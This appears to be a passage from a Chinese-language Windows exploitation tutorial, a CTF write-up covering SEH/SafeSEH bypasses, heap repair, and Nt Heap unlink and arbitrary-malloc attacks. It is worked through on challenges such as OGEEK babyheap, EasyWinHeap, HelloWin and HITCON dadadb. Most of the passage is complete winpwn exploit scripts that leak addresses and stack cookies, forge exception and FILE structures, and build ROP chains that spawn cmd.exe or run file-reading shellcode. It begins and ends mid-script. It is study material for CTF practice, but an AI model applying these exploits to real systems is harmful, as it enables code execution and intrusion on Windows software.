p.sendafter("What is your name:", "\xcc" * 0x10c)
p.recvuntil("\xcc" * 0x10c)
leak_ucrtbased_addr = u32(p.recv(4))
log.success("leak ucrtbased addr: " + hex(leak_ucrtbased_addr))
ucrtbased.address = leak_ucrtbased_addr - 0xafbd2
log.info("ucrtbased base: " + hex(ucrtbased.address))
p.close()

p = start()
p.sendafter("What is your name:", "\xcc" * 0x114)
p.recvuntil("\xcc" * 0x114)
leak_pe_addr = u32(p.recv(3).ljust(4, '\x00'))
log.success("leak pe addr: " + hex(leak_pe_addr))
pe.address = leak_pe_addr - 0x12120
log.info("pe base: " + hex(pe.address))
main_addr = pe.address + 0x15450
log.info("main addr: " + hex(main_addr))
p.close()

p = start()
# windbg.attach(p, "bp 00530000+154FA")
p.recvuntil("This is the stack address : ")
buf_addr = int(p.recv(8), 16)
log.info("buf addr: " + hex(buf_addr))

payload = ''
payload += '\xcc' * 0x110
payload += p32(buf_addr + 0x18c)
payload += p32(main_addr)
p.sendafter("What is your name:", payload)

p.sendafter("Give me one shot: ", "0")
sleep(0.1)
p.sendline("")

p.recvuntil("This is the stack address : ")
buf_addr = int(p.recv(8), 16)
log.info("buf addr: " + hex(buf_addr))
# windbg.attach(p, "bp 00db0000+155A0")
p.sendafter("What is your name:", '\xcc' * 0x104)
p.recvuntil("\xcc" * 0x104)
leak_canary = u32(p.recv(4))
log.success("leak canary: " + hex(leak_canary))
ebp_value = buf_addr + 0x120
log.info("ebp value: " + hex(ebp_value))
security_cookie = leak_canary ^ ebp_value
log.info("security_cookie addr: " + hex(pe.address + 0x1A004))
log.info("leak security_cookie: " + hex(security_cookie))

p.sendafter("Give me one shot: ", "0")
sleep(0.1)
p.sendline("")

p.recvuntil("This is the stack address : ")
buf_addr = int(p.recv(8), 16)
log.info("buf addr: " + hex(buf_addr))
ebp_value = buf_addr + 0x120
log.info("ebp value: " + hex(ebp_value))

payload = ''
payload += "\xcc" * 0x104
payload += p32(security_cookie ^ ebp_value)
payload = payload.ljust(0x124, "\xcc")
payload += p32(ucrtbased.symbols['system'])
payload += p32(0)
payload += p32(ucrtbased.search("cmd.exe").next())

p.sendafter("What is your name:", payload)
p.sendafter("Give me one shot: ", str(buf_addr))
sleep(0.1)
p.sendline("")

p.interactive()

进一步拓展,假设原本 main 函数的 Handler 返回的是 1 而不是 0,我们通过栈溢出将 Handler 覆盖为 main 函数那么在第一次执行 main 函数触发异常后调用 Handler 第二次进入 main 函数,第二次进入 main 函数触发异常后返回 ExceptionContinueSearch 表示异常没有处理,会在 SEH 链中继续往上一层找 Handler ,由于此时上一层 Handlermain 函数,也就是说第二次进入 main 函数触发异常后会再次进入 main 函数,因此原本 main 函数的 Handler 返回的是 1 也可以实现重复调用 main 函数。
在这里插入图片描述

SafeSEH

附件下载链接
这道题开启了 SafeSEH 和 GS 保护。
在这里插入图片描述
观察主函数逻辑,发现与上一道题逻辑相似,不过有两次溢出和回显的机会。

int __cdecl main_0(int argc, const char **argv, const char **envp)
{
    
  _DWORD *shot; // [esp+D4h] [ebp-12Ch] BYREF
  char DstBuf[260]; // [esp+E0h] [ebp-120h] BYREF
  CPPEH_RECORD ms_exc; // [esp+1E8h] [ebp-18h]

  __CheckForDebuggerJustMyCode(&unk_40C00F);
  sub_4011FE();
  printf("Hello world, this is a buffer overflow training.\n");
  printf("This is the stack address : %p\n", DstBuf);
  printf("What is your name: ");
  read(0, DstBuf, 0x200u);
  printf("Hello, %s\n", DstBuf);
  printf("Input again: ");
  read(0, DstBuf, 0x200u);
  printf("Hello, %s\n", DstBuf);
  ms_exc.registration.TryLevel = 0;
  printf("Give me one shot: ");
  scanf("%ld", &shot);
  shot = (_DWORD *)((unsigned int)shot & 0xFFF00);
  *shot = 0xDEADBEEF;
  ms_exc.registration.TryLevel = -2;
  getchar();
  return 0;
}

因此可以先泄露 ucrtbased.dll 和程序的基址。之后再次启动程序,第一次输入后回显泄露 canary ,从而计算出 ___security_cookie ,然后再次溢出写 rop ,不过由于 shot = (_DWORD *)((unsigned int)shot & 0xFFF00); ,不能正常返回,需要通过异常处理返回,这就需要我们伪造 CPPEH_RECORD 结构使其能正常调用处理函数返回。这里为了体现 SafeSEH 的绕过也顺带伪造了 ScopeTable ,实际上复用原来的 ScopeTable 也是可以的。

from winpwn import *

context.arch = "i386"
# context.log_level = "debug"

pe = winfile("SafeSEH.exe", rebase=True)
ucrtbased = winfile("ucrtbased.dll")
start = lambda: process(pe.path)  # remote

p = start()
p.sendafter("What is your name:", "\xcc" * 0x10c)
p.recvuntil("\xcc" * 0x10c)
leak_ucrtbased_addr = u32(p.recv(4))
log.success("leak ucrtbased addr: " + hex(leak_ucrtbased_addr))
ucrtbased.address = leak_ucrtbased_addr - 0xafbd2
log.info("ucrtbased base: " + hex(ucrtbased.address))
p.close()

p = start()
p.sendafter("What is your name:", "\xcc" * 0x114)
p.recvuntil("\xcc" * 0x114)
leak_pe_addr = u32(p.recv(3).ljust(4, '\x00'))
log.success("leak pe addr: " + hex(leak_pe_addr))
pe.address = leak_pe_addr - 0x1e30
log.info("pe base: " + hex(pe.address))
main_addr = pe.address + 0x1780
log.info("main addr: " + hex(main_addr))
FilterFunc = pe.address + 0x18B7
log.info("FilterFunc addr: " + hex(FilterFunc))
HandlerFunc = pe.address + 0x18BD
log.info("HandlerFunc addr: " + hex(HandlerFunc))
p.close()

p = start()
p.recvuntil("This is the stack address : ")
buf_addr = int(p.recv(8), 16)
log.info("buf addr: " + hex(buf_addr))
ebp_value = buf_addr + 0x120
log.info("ebp value: " + hex(ebp_value))
p.sendafter("What is your name:", "\xcc" * 0x104)
p.recvuntil("\xcc" * 0x104)
leak_canary = u32(p.recv(4))
log.success("leak canary: " + hex(leak_canary))
security_cookie = leak_canary ^ ebp_value
log.info("security_cookie: " + hex(security_cookie))
log.info("security_cookie addr: " + hex(pe.address + 0xA004))

fake_ScopeTable = ''
fake_ScopeTable += p32(0x0FFFFFFE4)  # GSCookieOffset
fake_ScopeTable += p32(0x000000000)  # GSCookieXOROffset
fake_ScopeTable += p32(0x0FFFFFE00)  # EHCookieOffset
fake_ScopeTable += p32(0x000000000)  # EHCookieXOROffset
fake_ScopeTable += p32(0x0FFFFFFFE)  # ScopeRecord.EnclosingLevel
fake_ScopeTable += p32(FilterFunc)  # ScopeRecord.FilterFunc
fake_ScopeTable += p32(HandlerFunc)  # ScopeRecord.HandlerFunc
fake_ScopeTable += p32(0x000000000)  # end of ScopeTable

fake_CPPEH_RECORD = ''
fake_CPPEH_RECORD += p32(buf_addr - 0xe0)  # old_esp
fake_CPPEH_RECORD += p32(leak_ucrtbased_addr)  # exc_ptr
fake_CPPEH_RECORD += p32(buf_addr + 0x18c)  # Next
fake_CPPEH_RECORD += p32(pe.address + 0x1e30)  # ExceptionHandler
fake_CPPEH_RECORD += p32(buf_addr ^ security_cookie)  # ScopeTable
# fake_CPPEH_RECORD += p32((pe.address + 0x90A0) ^ security_cookie)  # ScopeTable
fake_CPPEH_RECORD += p32(0xfffffffe)  # TryLevel

payload = ''
payload += fake_ScopeTable
payload += p32(0x114514)
payload = payload.ljust(0x104, '\xcc')
payload += p32(leak_canary)
payload += fake_CPPEH_RECORD
payload += p32(0)
payload += p32(ucrtbased.symbols['system'])
payload += p32(0)
payload += p32(ucrtbased.search("cmd.exe").next())
# windbg.attach(p, "bp {}".format(hex(HandlerFunc)))
p.sendafter("Input again: ", payload)
p.sendafter("Give me one shot: ", "0")
sleep(0.1)
p.sendline("")

p.interactive()

堆利用

堆修复

在进行堆利用的时候如果破坏了进程的默认堆,那么在劫持程序执行流程后会因堆异常导致程序崩溃而无法完成后续利用,这就需要我们在劫持程序执行流程后对进程的默认堆进行修复。

首先利用 ROP 执行 HeapCreate(0,0,0) 完成堆的创建 HeapCreate ,其中 HeapCreate 函数来自 kernel32.dll

payload = ''
payload += p64(ntdll.search(asm("pop rcx; ret"), executable=True).next())
payload += p64(0)
payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
payload += p64(0)
payload += p64(0)
payload += p64(ntdll.search(asm("pop r8;ret"), executable=True).next())
payload += p64(0)
payload += p64(kernel32.symbols['HeapCreate'])

之后修改 PEB 中的 ProcessHeap (+0x30)ucrtbase.dll 中的 __acrt_heapHeapCreate(0,0,0) 的返回值即可完成堆修复,此时进程的默认堆为 HeapCreate(0,0,0) 创建的堆。

payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
payload += p64(PEB_addr + 0x30)  # process_heap
payload += p64(0)
payload += p64(ntdll.search(asm("mov qword ptr [rdx], rax; ret;"), executable=True).next())
payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
payload += p64(ucrtbase.address + 0xEB570)  # __acrt_heap
payload += p64(0)
payload += p64(ntdll.search(asm("mov qword ptr [rdx], rax; ret;"), executable=True).next())

unlink (Nt Heap 后端堆)

触发 unlink 的情况有多种,下面仅举例 free 时合并空闲 chunk 造成的 unlink 的方法,这种方法对 unlink 的地址处的内存要求最小。

_HEAP 初始状态如下图所示:
在这里插入图片描述
首先释放 Q
在这里插入图片描述
为了让 ListHint 不指向 Q ,我们需要再释放 S 。因为如果 ListHint 指向 Q ,在 unlink 之前在 RtlpHeapRemoveListEntry 函数中会对 QFlink 进行检查。
在这里插入图片描述
为了绕过 Q->Flink->Blink == Q->Blink->Flink == &Q 的检查,利用 Heap Overflow 或者 UAF 修改 Q_LIST_ENTRY 如下图所示。
在这里插入图片描述
合并 chunk 的时候完成 unlink 。

之后会更新 FreeList,此时需要插到 A 之前,会检查 A->Blink->Flink == &A 而由于 A->Blink 在 unlink 中并没有实际被修改,所以 A->Blink=Q,而 Q->Flink = &Q-8,所以这个检查并不会通过。但是,这个检查不通过,不会 abort,只是会中断将 P 插入 FreeList 这个操作。

至此 unlink 攻击完成,可以控制 Data Pointer 实现任意地址读写。
在这里插入图片描述

例题:2019 OGEEK babyheap

附件下载链接
一开始 IDA 不能反编译程序,根据错误提示发现 401558 地址之后的代码有问题,实际上这里已经是出错退出,___report_rangecheckfailure 不会返回,因此我们在这个函数后面 patch 一个 ret 然后修改一下 IDA 的栈分析就可以正常反编译了。

分析程序发现程序一开始泄露了程序基址, edit 功能存在堆溢出并且 show 功能是 printf("Show : %s\n", ptr_list[index]); 可以通过填充字符实现越界读。
因此我们可以泄露堆的头部然后位置越界写伪造 _LIST_ENTRY 实现 unlink 控制 ptr_list 实现任意地址读写。之后依次泄露 ucrtbase.dllkernel32.dll -> ntdll.dll -> PEB -> TEB -> stack 基址,然后栈上写 ROP。由于栈上返回堆栈相对栈底偏移不固定,因此需要搜索返回地址。

from winpwn import *

context.arch = "i386"
context.newline = '\n'
# context.log_level = "debug"
pe = winfile("babyheap_patch.exe")
ucrtbase = winfile("ucrtbase.dll")
kernel32 = winfile("kernel32.dll")
ntdll = winfile("ntdll.dll")

# p = process(pe.path)
p = remote("192.168.64.161", 22333)


def add(size, content=""):
    p.sendlineafter("What's your choice?", "1")
    p.sendlineafter("How long is your sword?", str(size))
    p.sendlineafter("Well done! Name it!", content)


def delete(index):
    p.sendlineafter("What's your choice?", "2")
    p.sendlineafter("Which sword do you want to destroy?", str(index))


def edit(index, content):
    p.sendlineafter("What's your choice?", "3")
    p.sendlineafter("Which one will you polish?", str(index))
    p.sendlineafter("And what's the length this time?", str(len(content)))
    p.sendlineafter("Then name it again : ", content)


def show(index):
    p.sendlineafter("What's your choice?", "4")
    p.sendlineafter("Which one will you check?", str(index))
    p.recvuntil("Show : ")


def write_one(address):
    p.sendlineafter("What's your choice?", "1337")
    p.sendlineafter("So what's your target?", str(address))


p.recvuntil("And here is your Novice village gift : ")

leak_pe_addr = int(p.recv(10), 16)
log.info("leak pe addr: " + hex(leak_pe_addr))
pe.address = leak_pe_addr - 0x1090
log.info("pe base: " + hex(pe.address))

ptr_list_addr = pe.address + 0x4370
log.info("ptr_list addr: " + hex(ptr_list_addr))
ptr_flag_addr = pe.address + 0x43BC
log.info("ptr_flag addr: " + hex(ptr_flag_addr))

# windbg.attach(p, "bp {}+0x1262".format(hex(pe.address)))
# windbg.attach(p)
for i in xrange(6): add(0x58)

delete(2)
delete(4)

edit(1, 'a' * (0x58 + 0))
show(1)

free_heap_header = ''
while len(free_heap_header) < 8:
    head_len = len(free_heap_header)
    edit(1, 'a' * (0x58 + head_len))
    show(1)
    p.recvuntil('a' * (0x58 + head_len))
    free_heap_header += p.recvline(newline='\r\n', drop=True)
    if len(free_heap_header) < 8:
        free_heap_header += '\x00'
free_heap_header = free_heap_header[:8]

log.success("leak free heap header: ")
hexdump(free_heap_header)

edit(1, 'a' * 0x58 + free_heap_header + p32(ptr_list_addr + 8 - 4) + p32(ptr_list_addr + 8))
delete(1)
write_one(ptr_flag_addr + 2)

arbitrary_address_read = lambda address: (edit(2, p32(ptr_list_addr + 8) + p32(address)), show(3))
arbitrary_address_write = lambda address, content: (edit(2, p32(ptr_list_addr + 8) + p32(address)), edit(3, content))


def arbitrary_address_readn(address, length):
    read_buf = ""
    while len(read_buf) < length:
        arbitrary_address_read(address + len(read_buf))
        read_buf += p.recvline(newline='\r\n', drop=True)
        if len(read_buf) < length: read_buf += '\x00'
    return read_buf[:length]


vfprintf_addr = u32(arbitrary_address_readn(pe.imsyms['__stdio_common_vfprintf'], 4))
log.success("vfprintf addr: " + hex(vfprintf_addr))
ucrtbase.address = vfprintf_addr - ucrtbase.symbols['__stdio_common_vfprintf']
log.info("ucrtbase base: " + hex(ucrtbase.address))

sleep_addr = u32(arbitrary_address_readn(pe.imsyms['Sleep'], 4))
log.success("Sleep addr: " + hex(sleep_addr))
kernel32.address = sleep_addr - kernel32.symbols['Sleep']
log.info("kernel32 base: " + hex(kernel32.address))

wcsncpy_addr = u32(arbitrary_address_readn(kernel32.imsyms['wcsncpy'], 4))
log.success("wcsncpy addr: " + hex(wcsncpy_addr))
ntdll.address = wcsncpy_addr - ntdll.symbols['wcsncpy']
log.info("ntdll base: " + hex(ntdll.address))

log.info("leak PEB addr from: " + hex(ntdll.address + 0x120c0c))
PEB_addr = u32(arbitrary_address_readn(ntdll.address + 0x120c0c, 4)) - 540
log.info("PEB addr: " + hex(PEB_addr))
TEB_addr = PEB_addr + 0x3000
log.info("TEB addr: " + hex(TEB_addr))

stack_base = u32(arbitrary_address_readn(TEB_addr + 4, 4))
stack_limit = u32(arbitrary_address_readn(TEB_addr + 8, 4))
log.success("stack base: " + hex(stack_base))
log.success("stack limit: " + hex(stack_limit))

rop = p32(ucrtbase.symbols['system']) + p32(0) + p32(ucrtbase.search("cmd.exe").next())

for address in range(stack_base, stack_limit - 4, -4):
    arbitrary_address_read(address)
    read_data = p.recvline(newline='\r\n', drop=True)[:4].ljust(4, '\x00')
    if u32(read_data) == pe.address + 0x193b:
        log.success("find ret addr: " + hex(address))
        arbitrary_address_write(address, rop)
        break

p.sendlineafter("What's your choice?", "5")

p.interactive()

例题:2020 SCTF EasyWinHeap

附件下载链接
存在 UAF 和堆溢出,并且调用指针数组上的函数指针,可以直接 UAF+unlink 修改函数指针为 system 完成 getshell 。

from winpwn import *

context.arch = "i386"
#context.log_level = 'debug'
pe = winfile("EasyWinHeap.exe")
ucrtbase = winfile("ucrtbase.dll")

p = process(pe.path)


def add(size):
    p.sendlineafter("option >", "1")
    p.sendlineafter("size >", str(size))


def delete(index):
    p.sendlineafter("option >", "2")
    p.sendlineafter("index >", str(index))


def show(index):
    p.sendlineafter("option >", "3")
    p.sendlineafter("index >", str(index))


def edit(index, content):
    p.sendlineafter("option >", "4")
    p.sendlineafter("index >", str(index))
    p.sendlineafter("content  >", content)


add(0x90)
add(0x90)
add(0x90)
add(0x90)
add(0x90)

delete(1)
delete(3)

show(1)

p.recvline()
node_list_addr = u32(p.recv(4)) - 0x100

log.success("node_list_addr: " + hex(node_list_addr))
log.info("chunk1 addr: " + hex(node_list_addr + 0xa0))

edit(1, p32(node_list_addr + 0x8) + p32(node_list_addr + 0xC))
delete(0)
show(1)

p.recvline()
leak_func_ptr = u32(p.recv(8)[-4:])
# leak_func_ptr = u32(p.recvline(drop=True)[-3:].ljust(4, '\x00'))
log.info("leak func ptr: " + hex(leak_func_ptr))
pe.address = leak_func_ptr - 0x104a
log.info("pe base: " + hex(pe.address))

edit(1, p32(node_list_addr + 0xC) + p32(leak_func_ptr) + p32(pe.imsyms['getchar']))
show(2)
p.recvline()
ucrtbase.address = u32(p.recv(4)) - ucrtbase.symbols['getchar']
log.info("ucrtbase base: " + hex(ucrtbase.address))

# windbg.attach(p, "bp {}\nbp {}".format(hex(pe.address + 0x125F), hex(pe.address + 0x12D0)))

edit(1, p32(node_list_addr + 0xC) + p32(ucrtbase.symbols['system']) + p32(node_list_addr + 0x18) + "cmd.exe\x00")
show(2)

p.interactive()

例题:2021 TSCTF HelloWin

附件下载链接
和 2019 OGEEK babyheap 一样,不过这个题开了 PROCESS_MITIGATION_CHILD_PROCESS_POLICY 保护,需要 ORW 。

from winpwn import *

context.arch = "amd64"
context.log_level = 'debug'
pe = winfile("overflow.exe")
ucrtbase = winfile("ucrtbase.dll")
kernel32 = winfile("kernel32.dll")
ntdll = winfile("ntdll.dll")
start = lambda: process(pe.path)


def add(size, content=""):
    p.sendlineafter("[+] delete", "1")
    p.sendlineafter("[+] Please input size:", str(size))
    p.sendlineafter("[+] Please input content:", content)


def show(index):
    p.sendlineafter("[+] delete", "2")
    p.sendlineafter("[+] Input index:", str(index))
    p.recvuntil("[+] content: ")


def edit(index, content):
    p.sendlineafter("[+] delete", "3")
    p.sendlineafter("[+] Input index:", str(index))
    p.sendlineafter("[+] Please input size:", str(len(content)))
    p.sendlineafter("[+] Please input content:", content)


def delete(index):
    p.sendlineafter("[+] delete", "4")
    p.sendlineafter("[+] Input index:", str(index))


def backdoor(index):
    p.sendlineafter("[+] delete", "88")
    p.sendlineafter("[+] Input index:", str(index))


p = start()
p.sendlineafter("[+] Now,are you ready?", "Yes,me is!!!")
p.sendlineafter("[+] Please tell me your name:", "%p%p%p%p%p")
p.recvuntil("[+] Hello! ")
p.recv(16)
ucrtbase.address = int(p.recv(16), 16) - 0x100900
log.success("ucrtbase base: " + hex(ucrtbase.address))
p.recv(32)
pe.address = int(p.recv(16), 16) - 0x1b4a
log.success("pe base: " + hex(pe.address))
ptr_list_addr = pe.address + 0x6620
log.info("ptr_list addr: " + hex(ptr_list_addr))
p.close()

p = start()
p.sendlineafter("[+] Now,are you ready?", "Yes,me is!!!")
p.sendlineafter("[+] Please tell me your name:", "sky123")
p.sendlineafter("Please tell me your password:", "sky123")

# windbg.attach(p, "bp {}".format(hex(pe.address + 0x1690)[:-1]))
for _ in xrange(5): add(0x58)

delete(1)
delete(3)

free_heap_header = ''
while len(free_heap_header) < 8:
    head_len = len(free_heap_header)
    edit(0, 'a' * (0x58 + head_len))
    show(0)
    p.recvuntil('a' * (0x58 + head_len))
    free_heap_header += p.recvline(drop=True)
    if len(free_heap_header) < 8:
        free_heap_header += '\x00'
free_heap_header = free_heap_header[:8]

log.success("leak free heap header")
hexdump(free_heap_header)
edit(0, "a" * 0x58 + free_heap_header + p64(ptr_list_addr) + p64(ptr_list_addr + 8))
delete(0)
backdoor(1)

arbitrary_address_read = lambda address: (edit(1, p64(ptr_list_addr + 8) + p64(address)), show(2))
arbitrary_address_write = lambda address, content: (edit(1, p64(ptr_list_addr + 8) + p64(address)), edit(2, content))


def arbitrary_address_readn(address, length):
    read_buf = ""
    while len(read_buf) < length:
        log.info("read_buf len: " + hex(len(read_buf)))
        log.info("read_buf:")
        hexdump(read_buf)
        if len(read_buf) != 0: arbitrary_address_write(address, "a" * len(read_buf))
        arbitrary_address_read(address)
        if len(read_buf) != 0: p.recvuntil("a" * len(read_buf))
        read_buf += p.recvline(drop=True)
        if len(read_buf) < length: read_buf += '\x00'
    read_buf = read_buf[:length]
    arbitrary_address_write(address, read_buf)
    return read_buf


# windbg.attach(p, "bp {}".format(hex(pe.address + 0x17B1)[:-1]))

arbitrary_address_read(pe.imsyms['GetCurrentThreadId'])
kernel32.address = u64(p.recvline(drop=True).ljust(8, '\x00')) - kernel32.symbols['GetCurrentThreadId']
log.success("kernel32 base: " + hex(kernel32.address))

arbitrary_address_read(kernel32.imsyms['memcpy'])
ntdll.address = u64(p.recvline(drop=True).ljust(8, '\x00')) - ntdll.symbols['memcpy']
log.success("ntdll base: " + hex(ntdll.address))

arbitrary_address_read(ntdll.address + 0x184318)
PEB_addr = u64(p.recvline(drop=True).ljust(8, '\x00')) - 0x80
log.success("PEB addr: " + hex(PEB_addr))

TEB_addr = PEB_addr + 0x1000
log.info("TEB addr: " + hex(TEB_addr))

stack_base = u64(arbitrary_address_readn(TEB_addr + 8, 8))
log.success("stack base: " + hex(stack_base))


def get_payload(payload_addr):
    shellcode_offset = 0x80
    rwbuf_offset = 0x70

    shellcode = asm(
        """
        sub rsp, 0x1000
        mov rcx, {0}
        mov edx, 0x80000000
        xor r9d, r9d
        lea r8d, [r9+1]
        mov qword ptr [rsp + 0x30], 0
        mov qword ptr [rsp + 0x28], 0x80
        mov qword ptr [rsp + 0x20], 3
        mov rbx, {1} 
        call rbx //FileA = CreateFileA("flag.txt", 0x80000000, 1u, 0, 3u, 0x80u, 0)
        xchg rcx,rax
        mov rdx, {0}
        mov r8d, 0x30
        lea r9,[rsp + 0x200]
        mov qword ptr [rsp + 0x20], 0
        mov rbx, {2} 
        call rbx //ReadFile(FileA, Buffer, 0x3000u, &NumberOfBytesRead, 0);
        mov rcx, {0}
        mov rbx,{3}
        call rbx // puts(Buffer);
        """.format(
            hex(payload_addr + rwbuf_offset),
            hex(kernel32.symbols['CreateFileA']),
            hex(kernel32.symbols['ReadFile']),
            hex(ucrtbase.symbols['puts']),
        )
    )

    payload = ''
    payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
    payload += p64(payload_addr & ~0xFFF)
    payload += p64(ntdll.search(asm("pop rdx;ret"), executable=True).next())
    payload += p64(0x1000)
    payload += p64(ntdll.search(asm('pop r8; pop r9; pop r10; pop r11; ret'), executable=True).next())
    payload += p64(0x40)
    payload += p64(payload_addr + 0x300)
    payload += p64(0)
    payload += p64(0)
    payload += p64(kernel32.symbols['VirtualProtect'])
    payload += p64(payload_addr + shellcode_offset)
    payload = payload.ljust(rwbuf_offset, '\xcc')
    payload += "flag.txt\x00"
    payload = payload.ljust(shellcode_offset, '\xcc')
    payload += shellcode

    return payload


# windbg.attach(p, "bp {}".format(hex(pe.address + 0x17D4)[:-1]))
# windbg.attach(p, "bp {}".format(hex(ntdll.search(asm("pop rcx;ret"), executable=True).next())[:-1]))

for address in range(stack_base - 8, stack_base - 0x4000, -8):
    arbitrary_address_read(address)
    read_data = p.recvline(drop=True)[:8].ljust(8, '\x00')
    if u64(read_data) == pe.address + 0x20D0:
        log.success("find ret addr: " + hex(address))
        # windbg.attach(p, "bp {}".format(hex(pe.address + 0x1A04)[:-1]))
        arbitrary_address_write(address, get_payload(address))
        break

p.sendlineafter("[+] delete", "88")
p.interactive()

任意地址 malloc(Nt Heap 后端堆)

如果存在堆溢出并且需要 malloc 的地址附近的数据可控,那么可以伪造 FreeList 链表以及 fake chunk 的 chunk head 从而实现任意地址 malloc 。
在这里插入图片描述

例题:2019 HITCON dadadb

附件下载链接

首先根据题目提供的启动脚本可知题目开启 PROCESS_MITIGATION_CHILD_PROCESS_POLICY 保护,只能通过 ORW 获得 flag 。

add 功能存在堆溢出,由于只能在申请堆块的时候才能编辑堆块,因此不能采用 unlink 攻击(因为即使 unlink 攻击成功也无法进行后续利用),而是通过伪造 FreeList 链表实现任意地址 malloc 。

    new_size = atoll(String);
    if ( new_size >= 0x1000 )
      new_size = 0x1000i64;
    node1->ptr = (char *)HeapAlloc(hHeap, 8u, new_size);
    printf("Data:");
    size = node1->size;
    ptr = node1->ptr;
    v13 = GetStdHandle(0xFFFFFFF6);
    if ( !ReadFile(v13, ptr, size, &NumberOfBytesRead, 0i64) )// overflow
    {
    
      puts("read error");
      _exit(1);
    }

首先通过堆越界读泄露堆地址,然后构造任意地址读泄露 &_HEAP + 0x2c0 处存储的 ntdll.dll 地址,从而泄露 ntdll.dll 基址。这里要注意泄露的 ntdll.dll 地址与 ntdll.dll 基址偏移不固定。之后通过 ntdll->PEB->TEB 的泄露最终泄露栈地址和 dadadb.exe 的程序基址。从 dadadb.exe 的导入表泄露 kernel32.dll 基址以及 puts 函数地址。puts 函数稍后会作为 ORW 的输出函数。最后扫描栈中数据找到 main 函数返回地址从而定位到 login 函数的返回地址作为之后 ROP 的写入地址。

接下来需要伪造 FreeList 链表实现任意地址 malloc 。观察发现 Password 后面跟着 Stream 指针。Password 是我们能够控制的,可以用来伪造堆头和 Flink Blink ,然后可以任意地址 malloc 劫持 Stream 指向我们伪造的 FILE 结构体。

在伪造 FreeList 的过程中要注意 chunk 地址要避开 \xa0\xd0 避免输入被截断。

.data:0000000140005648 ; char Password[20]
.data:0000000140005648 Password db 20h dup(?)
.data:0000000140005648
.data:0000000140005668 ; FILE *Stream
.data:0000000140005668 Stream dq ?  

在我们伪造的 FILE 结构体中 _base 指向 login 函数的返回地址处,_file 设为 0 即标准输入,那么在 login 函数中执行下面这段代码就可以读入 ROP 到 login 函数的返回地址 。

  fp = Stream;
  if ( !Stream )
  {
    
    fopen_s(&Stream, "user.txt", "r");
    fp = Stream;
    if ( !Stream )
      _exit(0);
  }
  fread(Buffer, 0x100ui64, 1ui64, fp);

由于题目没有提供 ucrtbase.dll ,我们使用 kernel32.dll 中的 CreateFileReadFile 以及泄露的 puts 函数实现 ORW 。

from winpwn import *

context.arch = 'amd64'
context.log_level = 'debug'

pe = winfile("dadadb.exe")
ntdll = winfile("ntdll.dll")
kernel32 = winfile("kernel32.dll")


# context.log_level='debug'
def login(user, passwd):
    p.sendlineafter('>> ', '1')
    p.sendafter('User:', user)
    p.sendlineafter('Password:', passwd)


def add(key, size, data=context.newline):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('Key:', key)
    p.sendlineafter('Size:', str(size))
    p.sendafter('Data:', data)


def show(key):
    p.sendlineafter('>> ', '2')
    p.sendlineafter('Key:', key)
    p.recvuntil('Data:')


def delete(key):
    p.sendlineafter('>> ', '3')
    p.sendlineafter('Key:', key)


def logout(): p.sendlineafter('>> ', '4')


p = process("dadadb.exe")

login('orange', 'godlike')

add('1', 0x300)
add('1', 0x30)
add('2', 0x80)
# windbg.attach(p, "bp 00007ff7`865e0000+1B5A")
show('1')
head = p.recv(0x40)
heap_base = u64(p.recv(8)) - 0x980
log.success("heap base: " + hex(heap_base))

arbitrary_address_read = lambda address: (add('1', 0x30, head + p64(address)), show('2'))

arbitrary_address_read(heap_base + 0x2c0)
ntdll.address = (u64(p.recv(8)) - 0x163d10) & ~0xffff
log.success("ntdll base: " + hex(ntdll.address))

arbitrary_address_read(ntdll.address + 0x165368)
PEB_addr = u64(p.recv(8)) - 832
log.success("PEB addr: " + hex(PEB_addr))
TEB_addr = PEB_addr + 0x1000
log.info("TEB addr: " + hex(TEB_addr))

arbitrary_address_read(PEB_addr + 0x10)
pe.address = u64(p.recv(8))
log.success("pe base: " + hex(pe.address))

arbitrary_address_read(TEB_addr + 8)
stack_base = u64(p.recv(8))
log.success("stack base: " + hex(stack_base))
stack_limit = u64(p.recv(8))
log.success("stack limit: " + hex(stack_limit))

arbitrary_address_read(pe.imsyms['puts'])
puts_addr = u64(p.recv(8))
log.success("puts addr: " + hex(puts_addr))

arbitrary_address_read(pe.imsyms['GetCurrentProcessId'])
kernel32.address = u64(p.recv(8)) - kernel32.symbols['GetCurrentProcessId']
log.success("kernel32 base: " + hex(kernel32.address))

rop_addr = None

for address in range(stack_base - 8 - 0x80, stack_limit, -0x80):
    arbitrary_address_read(address)
    read_data = p.recv(0x80)
    pos = read_data.find(p64(pe.address + 0x1e38))
    if pos != -1:
        rop_addr = address + pos - 0x280
        break

log.success("rop addr: " + hex(rop_addr))

add('3', 0x200)
add('3', 0x10)  # chunk3
add('4', 0x50)  # chunk4
add('5', 0x50)  # chunk5

fake_FILE = ''
fake_FILE += p64(0)  # _ptr
fake_FILE += p64(rop_addr)  # _base
fake_FILE += p32(0)  # _cnt
fake_FILE += p32(0x2080)  # _flags
fake_FILE += p32(0)  # _file = stdin(0)
fake_FILE += p32(0)  # _charbuf
fake_FILE += p64(0x200)  # _charbuf
fake_FILE += p64(0)  # _tmpfname
fake_FILE += p64(0xffffffffffffffff)  # DebugInfo
fake_FILE += p32(0xffffffff)  # LockCount
fake_FILE += p32(0)  # RecursionCount
fake_FILE += p64(0)  # OwningThread
fake_FILE += p64(0)  # LockSemaphore
fake_FILE += p64(0)  # SpinCount

add('4', 0x60)  # free chunk4
add('5', 0x60, fake_FILE)  # free chunk5

log.info("chunk3(0x20) addr: " + hex(heap_base + 0xa80))
log.info("chunk4(0x60) addr: " + hex(heap_base + 0xb10))
log.info("chunk5(0x60) addr: " + hex(heap_base + 0xbe0))
log.info("fake chunk addr: " + hex(pe.address + 0x5658))

show('3')
heap_data = p.recv(0x200)
head = heap_data[0x88:0x90]
payload = ''
payload += heap_data[:0x98]
payload += p64(pe.address + 0x5658)  # chunk4->Blink = fake_chunk
payload += heap_data[0xa0:0x160]
payload += p64(pe.address + 0x5658)  # chunk5->Flink = fake_chunk
add('3', 0x10, payload)

fake_chunk = ''
fake_chunk += 'godlike'.ljust(8, '\x00')
fake_chunk += head
fake_chunk += p64(heap_base + 0xb10)  # fake_chunk->Flink = chunk4
fake_chunk += p64(heap_base + 0xbe0)  # fake_chunk->Blink = chunk5

logout()
login('orange', fake_chunk)

# windbg.attach(p, "bp {}".format(hex(pe.address + 0x1591)[:-1]))
